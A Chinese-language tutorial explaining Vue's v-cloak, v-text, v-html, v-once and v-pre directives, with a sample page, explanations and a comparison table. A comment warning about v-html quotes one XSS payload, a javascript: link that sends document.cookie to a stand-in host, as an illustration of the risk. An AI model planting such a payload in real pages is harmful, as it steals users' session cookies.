Vue基础知识-Vue中v-cloak、v-text、v-html、v-once、v-pre指令详解

完整示例代码

html 复制代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-closk:Vue实例创建完毕接管容器时会删掉v-cloak属性。该属性配合css代码可以解决如{{XX}}渲染不及时的情况
        <style>
            [v-cloak]{
                display:none
            }
        </style>
    -->
    <div id="root" v-cloak>
        <!-- 拿到name的值替换标签中间的内容,当作文本解析 -->
        <h2 v-text="name"></h2>
        <!-- 
            拿到name的值替换标签中间的内容,当作html解析。存在安全性问题。
            例如贴吧开发人员使用v-html渲染评论信息。不法分子提交评论:
            <a href=javascript:location.href='www.XSS.com?+document.cookie'>来!</a>,
         -->
        <h2 v-html="name"></h2>

       <!--  v-once:初次动态渲染后被视为静态内容。即只渲染一次 -->
        <h2 v-once>初始化n值:{{n}}</h2>
        <h2>n值:{{n}}</h2>
        <input type="button" @click="n++" value="n++"/>
        <!--  v-pre:若没有使用指令语法、插值语法等。可使用该指令跳过vue解析过程 -->
        <h2 v-pre>
            n值:{{n}}
        </h2>
    </div>
</body>
    <script>
        const vm = new Vue({
            el:'#root',
            data() {
                return {
                    name:'<font color = "red">张三</font>',
                    n:1
                }
            }
        })
    </script>
    
</html>

指令详解与对比

1. v-cloak：解决插值表达式闪烁问题

作用：在 Vue 实例未完成初始化时，隐藏带有插值表达式的元素，避免页面短暂显示{``{ }}符号。

使用方法：

在需要处理的元素上添加v-cloak属性
配合 CSS 隐藏该属性：[v-cloak] { display: none; }

工作原理：

Vue 实例初始化完成并接管容器后，会自动移除v-cloak属性
未初始化时，元素因[v-cloak]样式被隐藏，初始化后显示正常内容

适用场景：

页面加载较慢时，防止插值表达式{``{ }}被用户短暂看到
尤其适合网络环境较差或页面结构复杂的场景

2. v-text：文本渲染指令

作用：将数据以纯文本形式插入到元素中，替换元素的全部内容。

特点：

与插值表达式{``{ }}功能类似，但会覆盖元素内的原有内容
不会解析 HTML 标签，只会当作普通文本处理
渲染速度比插值表达式稍快（因为解析过程更简单）

适用场景：

需要完全替换元素内容且不需要解析 HTML 的场景
对渲染性能有轻微要求的简单文本展示

3. v-html：HTML 渲染指令

作用：将数据作为 HTML 字符串解析并插入到元素中，替换元素的全部内容。

特点：

会解析数据中的 HTML 标签并渲染
同样会覆盖元素内的原有内容
存在安全风险，可能导致 XSS 攻击

适用场景：

渲染可信的 HTML 内容（如后端返回的安全 HTML 片段）
需要动态生成包含标签的内容时使用

4. v-once：静态内容指令

作用：使元素或组件只渲染一次，后续数据变化不会导致重新渲染。

特点：

首次渲染后，元素会被视为静态内容
即使依赖的数据发生变化，也不会更新
可以提高性能（减少不必要的重新渲染）

适用场景：

展示固定不变的静态内容
数据一旦初始化就不会再变化的场景
优化性能，减少不必要的渲染

5. v-pre：跳过编译指令

作用：跳过 Vue 对元素及其子元素的编译过程，直接显示原始内容。

特点：

元素内的插值表达式{``{ }}不会被解析
元素内的 Vue 指令也不会被执行
可以提高编译性能（跳过不需要编译的内容）

适用场景：

展示包含{``{ }}符号的内容（如 Vue 代码示例）
页面中存在大量不需要 Vue 处理的静态内容
优化大型页面的编译速度

指令对比总结

指令	核心功能	特点	主要用途	注意事项
v-cloak	隐藏未编译内容	初始化后自动移除	解决插值闪烁	需要配合 CSS 使用
v-text	文本渲染	覆盖内容，不解析 HTML	简单文本展示	性能略优于插值表达式
v-html	HTML 渲染	覆盖内容，解析 HTML	渲染可信 HTML	禁止用于用户输入内容
v-once	静态渲染	只渲染一次	展示不变内容	可优化性能
v-pre	跳过编译	不解析指令和插值	展示原始代码	提高编译效率